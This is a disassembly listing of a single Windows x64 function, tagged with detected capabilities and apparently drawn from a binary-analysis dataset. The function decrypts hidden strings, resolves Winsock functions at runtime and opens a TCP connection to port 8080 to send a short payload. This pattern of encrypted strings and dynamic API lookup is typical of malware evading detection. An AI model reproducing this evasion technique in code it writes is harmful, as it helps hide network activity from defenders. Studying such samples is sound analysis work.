Function at 0x140007bc0
Capabilities:
Initialize winsock library
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x3f8
lea rbx, [0x14000a050]
call dbg.__main
movdqa xmm0, xmmword [str.PPTJQLSJVZZTkb]
mov rax, qword [0x14000a090]
mov dword [rsp + 0x150], 0x50
mov dword [rsp + 0x1b8], 0
lea rbp, [rsp + 0x190]
lea r8, str.abcd
mov edx, 0xa
movaps xmmword [rsp + 0x130], xmm0
mov rcx, rbp
movdqa xmm0, xmmword [0x14000a070]
lea r15, [rsp + 0x110]
mov qword [rsp + 0x100], rax
mov rax, qword [0x14000a0c0]
lea r13, [rsp + 0xd0]
lea rdi, [rsp + 0x1f0]
movaps xmmword [rsp + 0x140], xmm0
movdqa xmm0, xmmword [0x14000a080]
lea rsi, [rsp + 0x220]
lea r14, [rsp + 0x1b8]
mov qword [rsp + 0x1b0], rax
mov rax, qword [0x14000a0f0]
movaps xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [str.61_7]
mov qword [rsp + 0x170], rax
mov rax, qword [0x14000a0f8]
movaps xmmword [rsp + 0x190], xmm0
movdqa xmm0, xmmword [0x14000a0b0]
mov qword [rsp + 0xd0], rax
movaps xmmword [rsp + 0x1a0], xmm0
movdqa xmm0, xmmword [0x14000a0d0]
mov qword [rsp + 0x120], 0x12
movaps xmmword [rsp + 0x110], xmm0
movdqa xmm0, xmmword [0x14000a0e0]
mov qword [rsp + 0x178], 7
movaps xmmword [rsp + 0x160], xmm0
movdqa xmm0, xmmword [0x14000a100]
mov qword [rsp + 0x180], 0x13
movaps xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0xdc], 0
mov dword [rsp + 0xd8], 0xd
mov dword [rsp + 0x1e8], 0
movdqa xmm1, xmmword [0x14000a110]
mov rax, qword [0x14000a120]
movaps xmmword [rsp + 0x220], xmm0
movdqa xmm0, xmmword [0x14000a150]
mov qword [rsp + 0x20c], 0
mov qword [rsp + 0x1e0], rax
mov rax, qword [0x14000a140]
mov qword [rsp + 0x214], 0
mov qword [rsp + 0x200], rax
mov rax, qword [0x14000a148]
movaps xmmword [rsp + 0x1d0], xmm1
movdqa xmm1, xmmword [str.61Q_RP_r]
mov qword [rsp + 0x210], rax
mov rax, qword [0x14000a160]
mov dword [rsp + 0x208], 0x4d
mov qword [rsp + 0x240], rax
mov dword [rsp + 0x248], 0
movaps xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x230], xmm0
call sym.decrypt
mov edx, 5
mov rcx, r15
call sym.decrypt
lea rax, [rsp + 0x160]
mov edx, 9
mov rcx, rax
mov qword [rsp + 0x50], rax
call sym.decrypt
mov edx, 4
mov rcx, r13
call sym.decrypt
lea rax, [rsp + 0x1c0]
mov edx, 0xa
mov rcx, rax
mov qword [rsp + 0x58], rax
call sym.decrypt
mov edx, 0xa
mov rcx, rdi
call sym.decrypt
mov edx, 0xa
mov rcx, rsi
call sym.decrypt
lea rax, [rsp + 0x94]
mov qword [rsp + 0x40], rax
mov r12, rax
nop dword [rax]
mov r8d, dword [rbp]
mov rcx, r12
mov rdx, rbx
add rbp, 4
add r12, 1
call sym.sprintf.constprop.0
cmp rbp, r14
jne 0x140007e58
lea rax, [rsp + 0x7a]
lea r14, [rsp + 0x124]
mov qword [rsp + 0x48], rax
mov r12, rax
nop dword [rax]
mov r8d, dword [r15]
mov rcx, r12
mov rdx, rbx
add r15, 4
add r12, 1
call sym.sprintf.constprop.0
cmp r15, r14
jne 0x140007e90
lea rax, [rsp + 0x8a]
mov rbp, qword [rsp + 0x50]
lea r14, [rsp + 0x184]
mov r15, rax
mov r12, rax
nop word cs:[rax + rax]
mov r8d, dword [rbp]
mov rcx, r12
mov rdx, rbx
add rbp, 4
add r12, 1
call sym.sprintf.constprop.0
cmp r14, rbp
jne 0x140007ed0
lea r12, [rsp + 0x6f]
lea rbp, [rsp + 0xe0]
mov r14, r12
mov r8d, dword [r13]
mov rcx, r14
mov rdx, rbx
add r13, 4
add r14, 1
call sym.sprintf.constprop.0
cmp rbp, r13
jne 0x140007efc
lea rax, [rsp + 0x9f]
mov r13, qword [rsp + 0x58]
lea rbp, [rsp + 0x1e8]
mov qword [rsp + 0x50], rax
mov r14, rax
nop dword [rax]
mov r8d, dword [r13]
mov rcx, r14
mov rdx, rbx
add r13, 4
add r14, 1
call sym.sprintf.constprop.0
cmp rbp, r13
jne 0x140007f38
lea rbp, [rsp + 0xaa]
lea r13, [rsp + 0x218]
mov r14, rbp
nop word [rax + rax]
mov r8d, dword [rdi]
mov rcx, r14
mov rdx, rbx
add rdi, 4
add r14, 1
call sym.sprintf.constprop.0
cmp r13, rdi
jne 0x140007f70
lea r13, [rsp + 0xb5]
lea rdi, [rsp + 0x248]
mov r14, r13
nop
mov r8d, dword [rsi]
mov rcx, r14
mov rdx, rbx
add rsi, 4
add r14, 1
call sym.sprintf.constprop.0
cmp rdi, rsi
jne 0x140007fa0
mov rsi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rbp
call rsi
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call rdi
mov rcx, rbp
mov qword [0x14000e0c8], rax
call rsi
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call rdi
mov rcx, rbp
mov qword [0x14000e0c0], rax
call rsi
mov rdx, r12
lea r12, [rsp + 0x154]
mov rcx, rax
call rdi
mov rcx, rbp
mov qword [0x14000e0b8], rax
call rsi
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call rdi
mov rcx, rbp
mov qword [0x14000e0b0], rax
call rsi
mov rdx, r15
mov rcx, rax
call rdi
mov rcx, rbp
mov qword [0x14000e0a8], rax
call rsi
mov rdx, r13
lea rsi, [rsp + 0x130]
lea r13, [rsp + 0x80]
mov rcx, rax
call rdi
lea rdx, [rsp + 0x250]
mov ecx, 0x202
mov rdi, r13
mov qword [0x14000e0a0], rax
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [0x14000e0c8]
lea r8, str.abcd
mov edx, 9
mov rcx, rsi
mov rbp, rax
call sym.decrypt
nop dword [rax]
mov r8d, dword [rsi]
mov rcx, rdi
mov rdx, rbx
add rsi, 4
add rdi, 1
call sym.sprintf.constprop.0
cmp r12, rsi
jne 0x1400080b8
mov eax, 2
mov ecx, 0x1f90
lea rsi, [rsp + 0xf0]
mov word [rsp + 0xc0], ax
lea r12, [rsp + 0x108]
call qword [0x14000e0b0]
mov rcx, r13
lea r13, [rsp + 0x74]
mov word [rsp + 0xc2], ax
mov rdi, r13
call qword [0x14000e0a8]
lea rdx, [rsp + 0xc0]
xor r9d, r9d
mov rcx, rbp
mov r8d, 0x10
mov dword [rsp + 0xc4], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [0x14000e0c0]
lea r8, str.abcd
mov edx, 6
mov rcx, rsi
call sym.decrypt
nop dword [rax]
mov r8d, dword [rsi]
mov rcx, rdi
mov rdx, rbx
add rsi, 4
add rdi, 1
call sym.sprintf.constprop.0
cmp r12, rsi
jne 0x140008168
xor r9d, r9d
mov r8d, 6
mov rdx, r13
mov rcx, rbp
call qword [0x14000e0b8]
call qword [0x14000e0a0]
xor eax, eax
add rsp, 0x3f8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret